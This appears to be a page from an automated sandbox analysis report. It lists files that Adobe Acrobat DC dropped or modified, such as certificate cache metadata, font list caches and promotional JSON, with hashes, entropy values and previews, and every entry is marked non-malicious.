MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFkl8MUhGp/ltfllXlE/HT8kJJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKlMFteT8CJTNMa8RdWBwRd
MD5:	F1C51AD1A0C6BA3436EFE8D0DD61A3E6
SHA1:	21F0B6102A5E8D5CEDD149B42EE8FAB8CE413139
SHA-256:	B42439C78376D47001C7CDD71731D16F85A7B202273A8BB42FACEAEB9B403A99
SHA-512:	0AAEF42A94A0F984C3E79CC14D6F9A5017FF5882AAC34A91F3B9F4D0BD502D6CE0122DD284C1E77CB7D863BA0258FE3FD139A0477A00CC9406D75C93529CB725
Malicious:	false
Preview:	p...... ..........*.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2284938185447545
Encrypted:	false
SSDEEP:	6:kKQsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:hiDImsLNkPlE99SNxAhUe/3
MD5:	18BBA7269A9A3E26C1B1C1D92E08A024
SHA1:	F0DCEB3F80D926FC655986C8F1820CE74D4F2CE7
SHA-256:	0BAC055358E3FA5C71B9F76FAF2739D502A0E68702E6DC990AA1046CD7C6FB85
SHA-512:	A689889DF892A824C2F6652D5832F901DC0685D49BD0414D0FD7939584546FCAB93CDC63D34793CF9E9FD0D2CB88903CF05EE22AE9F6FB084776748527AD5782
Malicious:	false
Preview:	p...... ........".j..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1088

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1088

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.352105831289097
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJM3g98kUwPeUkwRe9:YvXKXsUYpW7yGMbLUkee9
MD5:	5F1CF6C4E575B04521E7A2606454459D
SHA1:	CEB330539158DDD5BCB80BC8795797BDCF0D44D8
SHA-256:	457E7D05F4560449287DC177791D9781D1018531B33281C53D7FDB5812D2A80C
SHA-512:	2F9F4CD6547D8AA55802D6CCE318BB0D5E8EE2C95FAF408D85411794DBFB2AC3EBE03010510B53EF549CFD0857F94A2ABAF01DC400CD45A37E6ADD2FC93BFD94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292636181516444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfBoTfXpnrPeUkwRe9:YvXKXsUYpW7yGWTfXcUkee9
MD5:	B526CBDFEC06A4276008DAF144239DA4
SHA1:	F48902C48205878DACAF1A0B784DD12FEC625900
SHA-256:	85CE81FA171A5F8FF35FB419FF3A15C0063132026D090619805E18262BF5E4E2
SHA-512:	2D0E4C3882860E0AE1CAB8EB0A1FA336D5BEEDA46432FD1D438B01C6353353D3A98D270FE2423CB70438C972A5AF88F41B3171AF0E4CC098F950403ADC00D1C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271527034127201
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfBD2G6UpnrPeUkwRe9:YvXKXsUYpW7yGR22cUkee9
MD5:	43B0C5C555F64F3F142761C85702A24C
SHA1:	ED4C053F20CC92BBA621D5BA343EF69D02DABF40
SHA-256:	FE2B2F0EF0591F5B17E7FF69EFD7AE83368AB1B876A3ADDDA05CD00CE31B5CD8
SHA-512:	28C30C1F88E41D7D9EC5597E46732AD57CCDEAF8298100BE7D60C7B9C3F6AD5644E69EAA2EA0A11F729F1BA45DFF09D8B63AD1A0D88983DA5D3E819A2A49FDB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.330603707012224
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfPmwrPeUkwRe9:YvXKXsUYpW7yGH56Ukee9
MD5:	E341B324327F33AB34A6CD9C9F181024
SHA1:	DBBD1ADC3CBA5302049F0289A45C789B0C6AE9BA
SHA-256:	AA6ABCB4F627417F866E869B8CC02D506FF58F51ECEA9CCB50A9F0ECCDEF9445
SHA-512:	60A8910D5FFDE1922ABE14F2AA6F060E04B828396C0CEB35CD26AEB2405759602D483252FC7A94E5055DD4414D83288E348E92890E27C9E4EED106B38C5A49DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6891434761941175
Encrypted:	false
SSDEEP:	24:Yv6XsFiPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSur:YvwPhgy6SAFv5Ah8cv/ur
MD5:	5FDB624D0623079CA0B4D664BFC81370
SHA1:	4B1C60FBB5A4A49EABE6028700E44D8A558C4965
SHA-256:	7CFC5E32451F1950561C3E82ED8A8225CDD2B66EFCB8E28D01444CB7B161718C
SHA-512:	B06C0EB54E60F24D294B1FECB3F0058B3FCE2FA26E1BF7C747DF9FC7D8EF3B94EC3DF81C18BE182906812CBE2959E9B8C4196F3620EB8ED9CFF23818BE15A35E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277884244295993
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJf8dPeUkwRe9:YvXKXsUYpW7yGU8Ukee9
MD5:	053C374265C0E958A1A7DCC75A4A312D
SHA1:	42BF80866F58B3F45A6F002C6DA7255383BCFBF3
SHA-256:	83B347C5BDDBA02A7F7C9464B60ADE1AEB0CD73FD88164E9B4D3C0B1D8B733A5
SHA-512:	89DFE4C9D18194A08C5896E519CEB54747B6EABCA18BF99AEA353942B30D85C022F2F362E95955EB58AC8AD947120AFBE253BC247F79D8FAB464D2A4A070F992
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279684657158931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfQ1rPeUkwRe9:YvXKXsUYpW7yGY16Ukee9
MD5:	23F7BEF87166D4830A0C2FD0BC5E2318
SHA1:	4EE4EBD61454FBCA08D5ABBB8283A24136C4BC9C
SHA-256:	ECF9851D7C8C6EAE78F9C0AD7F37A0FC0878CDC78153203783960FBDC91B41E0
SHA-512:	1236AA6F92D1E2770DC410684F6BA569CBBF3D9119E15F559BD33A9190386CA904F50C20D0F6C3BFF2DF360B37DE0EDC9BE5D8A0B0BE75CDE1E47080CD4E8C6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297345449355298
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfFldPeUkwRe9:YvXKXsUYpW7yGz8Ukee9
MD5:	7FD7B42EA75F79658D39F44BF04C0EA3
SHA1:	502E6F7F5628B75240D00FC63E2C431933829C28
SHA-256:	2342EFBD4C3B5816EDE4B5654911210502A6EF2B6B124C19B9C6F556A7648F12
SHA-512:	F82F7A7B280D90CDF8699F1F9D8D8EB89842F5916220DA9A686A4404EF4240B3B074BD94E7CA48156B4C56811ED4265484C5AB1E76C14236B06CBA458A6B41D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.305059808692283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfzdPeUkwRe9:YvXKXsUYpW7yGb8Ukee9
MD5:	A1FDDA146B3A3865DC26A6F0DF7BE2D5
SHA1:	223AC2E002355C9C5A82D3A7C7F71CD596A00DE4
SHA-256:	1ACFD8E1F7FBE5BC6708FD67780BBB3998A4FD0D6EDED92B359A28AFFD36171A
SHA-512:	DD7DCD543397071E7B8663515097B6DCCAED3DE987EE21CFF6E93F0B5E6B31831F04E57A03291656CB8196671EB789CCE358FF2F55DCCD67284B3C621CEE40C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285406586506255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJfYdPeUkwRe9:YvXKXsUYpW7yGg8Ukee9
MD5:	F499AA616505B530CC55719C742C0F63
SHA1:	AA22F4E2E3EA8CC7FCBB20AB9AE2776097CACFC2
SHA-256:	DA6231A150FF76ABA4265682BE64F54A047D7349709FF9F54B250D1F23783B96
SHA-512:	D136D43CF49323FA8DF69C685AC6EFF582B97A622BFEA3EE1BEB845CA7A151343743B65860DBC4A7C3EF595A895AF41C1FBB41046349D34F0824129DFCC4D965
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.270882331502183
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYcgx+FIbRI6XVW7+0YkoAvJf+dPeUkwRe9:YvXKXsUYpW7yG28Ukee9
MD5:	F9345962299951EB6526E0F1E69CD9BF
SHA1:	AB15A65221E75AD98861028FB7C7143B541372F3
SHA-256:	83562F7AAEFE5A2A8AC4B56582E56DDFE4EA87D5D753FB42C40251C7DE450F77
SHA-512:	30605D31F518988EBE56732DDC1B24447229674DF99736B52F1E61502629DC64D56619850F37C2220C432DFAA2CB5B250B7706D204511A2DAF06C8C9C4B19112
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd685ba1-d066-4165-bb2a-2900f6491fb6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707337045,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

